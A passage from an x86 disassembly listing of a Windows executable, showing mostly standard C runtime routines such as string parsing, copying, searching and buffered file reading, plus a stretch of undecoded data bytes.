mov ds:dword_45FE74, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov ds:dword_45FE70, ecx
loc_4148C2: ; CODE XREF: sub_414863+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add ds:dword_45FE70, 4
retn
sub_414863 endp
; =============== S U B R O U T I N E =======================================
sub_4148D0 proc near ; CODE XREF: sub_40388F+1Ap
; sub_41E17E+5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_414863
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_4148D0 endp
; =============== S U B R O U T I N E =======================================
sub_4148E2 proc near ; DATA XREF: seg002:00421014o
push 80h
call sub_413E5F
test eax, eax
pop ecx
mov ds:dword_45FE74, eax
jnz short loc_414903
push 18h
call sub_415C7E
mov eax, ds:dword_45FE74
pop ecx
loc_414903: ; CODE XREF: sub_4148E2+12j
and dword ptr [eax], 0
mov eax, ds:dword_45FE74
mov ds:dword_45FE70, eax
retn
sub_4148E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414911 proc near ; CODE XREF: sub_414B19+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_414929: ; CODE XREF: sub_414911+46j
cmp ds:dword_42D2FC, 1
jle short loc_414941
movzx eax, bl
push 8
push eax
call sub_4165E6
pop ecx
pop ecx
jmp short loc_414950
; ---------------------------------------------------------------------------
loc_414941: ; CODE XREF: sub_414911+1Fj
mov ecx, ds:off_42D0F0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_414950: ; CODE XREF: sub_414911+2Ej
test eax, eax
jz short loc_414959
mov bl, [esi]
inc esi
jmp short loc_414929
; ---------------------------------------------------------------------------
loc_414959: ; CODE XREF: sub_414911+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_414967
or [ebp+arg_C], 2
jmp short loc_41496C
; ---------------------------------------------------------------------------
loc_414967: ; CODE XREF: sub_414911+4Ej
cmp bl, 2Bh
jnz short loc_414972
loc_41496C: ; CODE XREF: sub_414911+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_414972: ; CODE XREF: sub_414911+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_414B09
cmp eax, 1
jz loc_414B09
cmp eax, 24h
jg loc_414B09
push 10h
test eax, eax
pop ecx
jnz short loc_4149BA
cmp bl, 30h
jz short loc_4149A4
mov [ebp+arg_8], 0Ah
jmp short loc_4149D6
; ---------------------------------------------------------------------------
loc_4149A4: ; CODE XREF: sub_414911+88j
mov al, [esi]
cmp al, 78h
jz short loc_4149B7
cmp al, 58h
jz short loc_4149B7
mov [ebp+arg_8], 8
jmp short loc_4149D6
; ---------------------------------------------------------------------------
loc_4149B7: ; CODE XREF: sub_414911+97j
; sub_414911+9Bj
mov [ebp+arg_8], ecx
loc_4149BA: ; CODE XREF: sub_414911+83j
cmp [ebp+arg_8], ecx
jnz short loc_4149D6
cmp bl, 30h
jnz short loc_4149D6
mov al, [esi]
cmp al, 78h
jz short loc_4149CE
cmp al, 58h
jnz short loc_4149D6
loc_4149CE: ; CODE XREF: sub_414911+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_4149D6: ; CODE XREF: sub_414911+91j
; sub_414911+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_4149E6: ; CODE XREF: sub_414911+16Cj
cmp ds:dword_42D2FC, 1
movzx esi, bl
jle short loc_4149FE
push 4
push esi
call sub_4165E6
pop ecx
pop ecx
jmp short loc_414A09
; ---------------------------------------------------------------------------
loc_4149FE: ; CODE XREF: sub_414911+DFj
mov eax, ds:off_42D0F0
mov al, [eax+esi*2]
and eax, 4
loc_414A09: ; CODE XREF: sub_414911+EBj
test eax, eax
jz short loc_414A15
movsx ecx, bl
sub ecx, 30h
jmp short loc_414A47
; ---------------------------------------------------------------------------
loc_414A15: ; CODE XREF: sub_414911+FAj
cmp ds:dword_42D2FC, 1
jle short loc_414A29
push edi
push esi
call sub_4165E6
pop ecx
pop ecx
jmp short loc_414A34
; ---------------------------------------------------------------------------
loc_414A29: ; CODE XREF: sub_414911+10Bj
mov eax, ds:off_42D0F0
mov ax, [eax+esi*2]
and eax, edi
loc_414A34: ; CODE XREF: sub_414911+116j
test eax, eax
jz short loc_414A82
movsx eax, bl
push eax
call sub_418D01
pop ecx
mov ecx, eax
sub ecx, 37h
loc_414A47: ; CODE XREF: sub_414911+102j
cmp ecx, [ebp+arg_8]
jnb short loc_414A82
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_414A6C
jnz short loc_414A66
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_414A6C
loc_414A66: ; CODE XREF: sub_414911+147j
or [ebp+arg_C], 4
jmp short loc_414A75
; ---------------------------------------------------------------------------
loc_414A6C: ; CODE XREF: sub_414911+145j
; sub_414911+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_414A75: ; CODE XREF: sub_414911+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_4149E6
; ---------------------------------------------------------------------------
loc_414A82: ; CODE XREF: sub_414911+125j
; sub_414911+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_414AA0
test edx, edx
jz short loc_414A9A
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_414A9A: ; CODE XREF: sub_414911+181j
and [ebp+var_8], 0
jmp short loc_414AED
; ---------------------------------------------------------------------------
loc_414AA0: ; CODE XREF: sub_414911+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_414AC6
test cl, 1
jnz short loc_414AED
and ecx, 2
jz short loc_414ABD
cmp [ebp+var_8], 80000000h
ja short loc_414AC6
loc_414ABD: ; CODE XREF: sub_414911+1A1j
test ecx, ecx
jnz short loc_414AED
cmp [ebp+var_8], eax
jbe short loc_414AED
loc_414AC6: ; CODE XREF: sub_414911+197j
; sub_414911+1AAj
test byte ptr [ebp+arg_C], 1
mov ds:dword_45E804, 22h
jz short loc_414ADC
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_414AED
; ---------------------------------------------------------------------------
loc_414ADC: ; CODE XREF: sub_414911+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_414AED: ; CODE XREF: sub_414911+18Dj
; sub_414911+19Cj ...
test edx, edx
jz short loc_414AF6
mov eax, [ebp+var_4]
mov [edx], eax
loc_414AF6: ; CODE XREF: sub_414911+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_414B04
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_414B04: ; CODE XREF: sub_414911+1E9j
mov eax, [ebp+var_8]
jmp short loc_414B14
; ---------------------------------------------------------------------------
loc_414B09: ; CODE XREF: sub_414911+66j
; sub_414911+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_414B12
mov [eax], edi
loc_414B12: ; CODE XREF: sub_414911+1FDj
xor eax, eax
loc_414B14: ; CODE XREF: sub_414911+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_414911 endp
; =============== S U B R O U T I N E =======================================
sub_414B19 proc near ; CODE XREF: seg000:00403D6Ep
; seg000:0040E99Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_414911
add esp, 10h
retn
sub_414B19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414B30 proc near ; CODE XREF: seg000:00403B17p
; seg000:00403D1Bp ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_413DB0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_418DCD
add esp, 10h
leave
retn
sub_414B30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414B64 proc near ; CODE XREF: seg000:004038FFp
var_20 = byte ptr -20h
var_10 = byte ptr -10h
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call ds:dword_41F054 ; GetLocalTime
lea eax, [ebp+var_20]
push eax
call near ptr 0A70000h
retn 8B66h
sub_414B64 endp
; ---------------------------------------------------------------------------
db 45h
dd 53B66EAh, 45E7FAh, 8B663B75h, 3B66E845h, 45E7F805h
dd 662E7500h, 66E6458Bh, 0E7F6053Bh, 21750045h, 0E2458B66h
dd 0F2053B66h, 750045E7h, 458B6614h, 53B66E0h, 45E7F0h
dd 0E8A10775h, 0EB0045E7h, 34858D45h, 50FFFFFFh, 65B42BE8h
dd 0F883C900h, 831B74FFh, 127502F8h, 0CE7D8366h, 830B7400h
dd 7400DC7Dh, 58016A05h, 0C03307EBh, 0C88303EBh, 8D5756FFh
dd 0F0BFE075h, 0A50045E7h, 5FA5A5A5h, 45E7E8A3h, 0F505E00h
dd 50FC45B7h, 0FA45B70Fh, 45B70F50h, 0B70F50F8h, 0F50F645h
dd 50F245B7h, 0F045B70Fh, 4C4CE850h, 4D8B0000h, 1CC48308h
dd 274C985h, 0C3C90189h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414C40 proc near ; CODE XREF: sub_403F31+4Ep
; seg000:004053F4p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_414C64
xor eax, eax
jmp loc_414D0D
; ---------------------------------------------------------------------------
loc_414C64: ; CODE XREF: sub_414C40+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_414C77
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_414C83
; ---------------------------------------------------------------------------
loc_414C77: ; CODE XREF: sub_414C40+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_414C83
; ---------------------------------------------------------------------------
loc_414C80: ; CODE XREF: sub_414C40+C4j
mov ecx, [ebp+arg_0]
loc_414C83: ; CODE XREF: sub_414C40+35j
; sub_414C40+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_414CB5
mov eax, [esi+4]
test eax, eax
jz short loc_414CB5
cmp ecx, eax
mov edi, ecx
jb short loc_414C9A
mov edi, eax
loc_414C9A: ; CODE XREF: sub_414C40+56j
push edi
push dword ptr [esi]
push ebx
call sub_413690
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_414D00
; ---------------------------------------------------------------------------
loc_414CB5: ; CODE XREF: sub_414C40+49j
; sub_414C40+50j
cmp ecx, [ebp+arg_C]
jb short loc_414CE8
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_414CCB
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_414CCB: ; CODE XREF: sub_414C40+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_419A19
add esp, 0Ch
test eax, eax
jz short loc_414D12
cmp eax, 0FFFFFFFFh
jz short loc_414D18
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_414D00
; ---------------------------------------------------------------------------
loc_414CE8: ; CODE XREF: sub_414C40+78j
push esi
call sub_419940
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_414D1C
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_414D00: ; CODE XREF: sub_414C40+73j
; sub_414C40+A6j
cmp [ebp+arg_0], 0
jnz loc_414C80
mov eax, [ebp+arg_8]
loc_414D0D: ; CODE XREF: sub_414C40+1Fj
; sub_414C40+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_414D12: ; CODE XREF: sub_414C40+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_414D1C
; ---------------------------------------------------------------------------
loc_414D18: ; CODE XREF: sub_414C40+9Fj
or dword ptr [esi+0Ch], 20h
loc_414D1C: ; CODE XREF: sub_414C40+B2j
; sub_414C40+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_414D0D
sub_414C40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414D28 proc near ; CODE XREF: sub_403FCB+2B2p
; seg000:004046A9p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_414D41: ; CODE XREF: sub_414D28+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_414D41
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_414D69
mov edx, ds:dword_45E800
loc_414D69: ; CODE XREF: sub_414D28+39j
; sub_414D28+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_414D89
test al, al
jz short loc_414D89
inc edx
jmp short loc_414D69
; ---------------------------------------------------------------------------
loc_414D89: ; CODE XREF: sub_414D28+58j
; sub_414D28+5Cj
mov ebx, edx
loc_414D8B: ; CODE XREF: sub_414D28+81j
mov al, [edx]
test al, al
jz short loc_414DAF
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_414DAB
inc edx
jmp short loc_414D8B
; ---------------------------------------------------------------------------
loc_414DAB: ; CODE XREF: sub_414D28+7Ej
and byte ptr [edx], 0
inc edx
loc_414DAF: ; CODE XREF: sub_414D28+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov ds:dword_45E800, edx
and eax, ebx
pop ebx
leave
retn
sub_414D28 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_414DD0 proc near ; CODE XREF: sub_404858+1B4p
; sub_407E52+43p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_414E53
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_414DF4
shr ecx, 2
jnz short loc_414E61
jmp short loc_414E15
; ---------------------------------------------------------------------------
loc_414DF4: ; CODE XREF: sub_414DD0+1Bj
; sub_414DD0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_414E22
test al, al
jz short loc_414E2A
test esi, 3
jnz short loc_414DF4
mov ebx, ecx
shr ecx, 2
jnz short loc_414E61
loc_414E10: ; CODE XREF: sub_414DD0+8Fj
and ebx, 3
jz short loc_414E22
loc_414E15: ; CODE XREF: sub_414DD0+22j
; sub_414DD0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_414E4E
dec ebx
jnz short loc_414E15
loc_414E22: ; CODE XREF: sub_414DD0+2Bj
; sub_414DD0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_414E2A: ; CODE XREF: sub_414DD0+2Fj
test edi, 3
jz short loc_414E44
loc_414E32: ; CODE XREF: sub_414DD0+72j
mov [edi], al
inc edi
dec ecx
jz loc_414EC6
test edi, 3
jnz short loc_414E32
loc_414E44: ; CODE XREF: sub_414DD0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_414EB7
loc_414E4B: ; CODE XREF: sub_414DD0+7Fj
; sub_414DD0+F4j
mov [edi], al
inc edi
loc_414E4E: ; CODE XREF: sub_414DD0+4Dj
dec ebx
jnz short loc_414E4B
pop ebx
pop esi
loc_414E53: ; CODE XREF: sub_414DD0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_414E59: ; CODE XREF: sub_414DD0+A9j
; sub_414DD0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_414E10
loc_414E61: ; CODE XREF: sub_414DD0+20j
; sub_414DD0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_414E59
test dl, dl
jz short loc_414EAB
test dh, dh
jz short loc_414EA1
test edx, 0FF0000h
jz short loc_414E97
test edx, 0FF000000h
jnz short loc_414E59
mov [edi], edx
jmp short loc_414EAF
; ---------------------------------------------------------------------------
loc_414E97: ; CODE XREF: sub_414DD0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_414EAF
; ---------------------------------------------------------------------------
loc_414EA1: ; CODE XREF: sub_414DD0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_414EAF
; ---------------------------------------------------------------------------
loc_414EAB: ; CODE XREF: sub_414DD0+ADj
xor edx, edx
mov [edi], edx
loc_414EAF: ; CODE XREF: sub_414DD0+C5j
; sub_414DD0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_414EC1
loc_414EB7: ; CODE XREF: sub_414DD0+79j
xor eax, eax
loc_414EB9: ; CODE XREF: sub_414DD0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_414EB9
loc_414EC1: ; CODE XREF: sub_414DD0+E5j
and ebx, 3
jnz short loc_414E4B
loc_414EC6: ; CODE XREF: sub_414DD0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_414DD0 endp
; =============== S U B R O U T I N E =======================================
sub_414ECE proc near ; CODE XREF: seg000:004053C8p
; seg000:0040551Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_414F4A
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_414EED
cmp edi, 1
jz short loc_414EED
cmp edi, 2
jnz short loc_414F4A
loc_414EED: ; CODE XREF: sub_414ECE+13j
; sub_414ECE+18j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_414F04
push esi
call sub_419CA9
add [esp+0Ch+arg_4], eax
pop ecx
xor edi, edi
loc_414F04: ; CODE XREF: sub_414ECE+27j
push esi
call sub_416774
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_414F19
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_414F2D
; ---------------------------------------------------------------------------
loc_414F19: ; CODE XREF: sub_414ECE+42j
test al, 1
jz short loc_414F2D
test al, 8
jz short loc_414F2D
test ah, 4
jnz short loc_414F2D
mov dword ptr [esi+18h], 200h
loc_414F2D: ; CODE XREF: sub_414ECE+49j
; sub_414ECE+4Dj ...
push edi
push [esp+0Ch+arg_4]
push dword ptr [esi+10h]
call sub_419C0F
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_414F57
; ---------------------------------------------------------------------------
loc_414F4A: ; CODE XREF: sub_414ECE+Bj
; sub_414ECE+1Dj
mov ds:dword_45E804, 16h
or eax, 0FFFFFFFFh
loc_414F57: ; CODE XREF: sub_414ECE+7Aj
pop edi
pop esi
retn
sub_414ECE endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414F60 proc near ; CODE XREF: seg000:00405392p
; seg000:004053B3p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_414F91
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_414F8F
jz short loc_414F91
dec ecx
dec ecx
loc_414F8F: ; CODE XREF: sub_414F60+29j
not ecx
loc_414F91: ; CODE XREF: sub_414F60+9j
; sub_414F60+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_414F60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_414FA0 proc near ; CODE XREF: sub_4055DD+5Cp
; sub_4055DD+9Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_415054
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_414FCA
loc_414FBB: ; CODE XREF: sub_414FA0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_414FFB
test edi, 3
jnz short loc_414FBB
loc_414FCA: ; CODE XREF: sub_414FA0+19j
; sub_414FA0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_414FCA
mov eax, [edi-4]
test al, al
jz short loc_415008
test ah, ah
jz short loc_415003
test eax, 0FF0000h
jz short loc_414FFE
test eax, 0FF000000h
jnz short loc_414FCA
loc_414FFB: ; CODE XREF: sub_414FA0+20j
dec edi
jmp short loc_41500B
; ---------------------------------------------------------------------------
loc_414FFE: ; CODE XREF: sub_414FA0+52j
sub edi, 2
jmp short loc_41500B
; ---------------------------------------------------------------------------
loc_415003: ; CODE XREF: sub_414FA0+4Bj
sub edi, 3
jmp short loc_41500B
; ---------------------------------------------------------------------------
loc_415008: ; CODE XREF: sub_414FA0+47j
sub edi, 4
loc_41500B: ; CODE XREF: sub_414FA0+5Cj
; sub_414FA0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_415020
mov ebx, ecx
shr ecx, 2
jnz short loc_41506C
jmp short loc_41503C
; ---------------------------------------------------------------------------
loc_415020: ; CODE XREF: sub_414FA0+75j
; sub_414FA0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41505A
mov [edi], dl
inc edi
dec ecx
jz short loc_415050
test esi, 3
jnz short loc_415020
mov ebx, ecx
shr ecx, 2
jnz short loc_41506C
loc_41503C: ; CODE XREF: sub_414FA0+7Ej
; sub_414FA0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_415050
loc_415043: ; CODE XREF: sub_414FA0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_415052
dec ecx
jnz short loc_415043
loc_415050: ; CODE XREF: sub_414FA0+8Bj
; sub_414FA0+A1j
mov [edi], cl
loc_415052: ; CODE XREF: sub_414FA0+ABj
pop ebx
pop esi
loc_415054: ; CODE XREF: sub_414FA0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41505A: ; CODE XREF: sub_414FA0+85j
; sub_414FA0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_415064: ; CODE XREF: sub_414FA0+E4j
; sub_414FA0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41503C
loc_41506C: ; CODE XREF: sub_414FA0+7Cj
; sub_414FA0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_415064
test dl, dl
jz short loc_41505A
test dh, dh
jz short loc_4150B8
test edx, 0FF0000h
jz short loc_4150A8
test edx, 0FF000000h
jnz short loc_415064
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_4150A8: ; CODE XREF: sub_414FA0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_4150B8: ; CODE XREF: sub_414FA0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_414FA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4150D0 proc near ; CODE XREF: sub_40571E+2A2p
; seg000:0040E40Ap ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_4150F1
xor eax, eax
jmp short loc_4150F3
; ---------------------------------------------------------------------------
loc_4150F1: ; CODE XREF: sub_4150D0+1Bj
mov eax, edi
loc_4150F3: ; CODE XREF: sub_4150D0+1Fj
cld
pop edi
leave
retn
sub_4150D0 endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_415110
loc_415100: ; CODE XREF: sub_415110+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_415110
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415110 proc near ; CODE XREF: sub_406A7B+DBp
; seg000:0040B76Cp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 00415100 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_415116: ; CODE XREF: sub_413B80+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41513B
loc_415128: ; CODE XREF: sub_415110+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_415100
test cl, cl
jz short loc_415184
test edx, 3
jnz short loc_415128
loc_41513B: ; CODE XREF: sub_415110+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_415146: ; CODE XREF: sub_415110+61j
; sub_415110+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_415188
and eax, 81010100h
jz short loc_415146
and eax, 1010100h
jnz short loc_415182
and esi, 80000000h
jnz short loc_415146
loc_415182: ; CODE XREF: sub_415110+68j
; sub_415110+81j ...
pop esi
pop edi
loc_415184: ; CODE XREF: sub_415110+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_415188: ; CODE XREF: sub_415110+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_4151C5
test al, al
jz short loc_415182
cmp ah, bl
jz short loc_4151BE
test ah, ah
jz short loc_415182
shr eax, 10h
cmp al, bl
jz short loc_4151B7
test al, al
jz short loc_415182
cmp ah, bl
jz short loc_4151B0
test ah, ah
jz short loc_415182
jmp short loc_415146
; ---------------------------------------------------------------------------
loc_4151B0: ; CODE XREF: sub_415110+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4151B7: ; CODE XREF: sub_415110+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4151BE: ; CODE XREF: sub_415110+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4151C5: ; CODE XREF: sub_415110+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_415110 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151CC proc near ; CODE XREF: sub_406A7B+AFp
; seg000:0040F7D4p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_4151E0
xor eax, eax
jmp short loc_415216
; ---------------------------------------------------------------------------
loc_4151E0: ; CODE XREF: sub_4151CC+Ej
dec [ebp+arg_4]
push esi
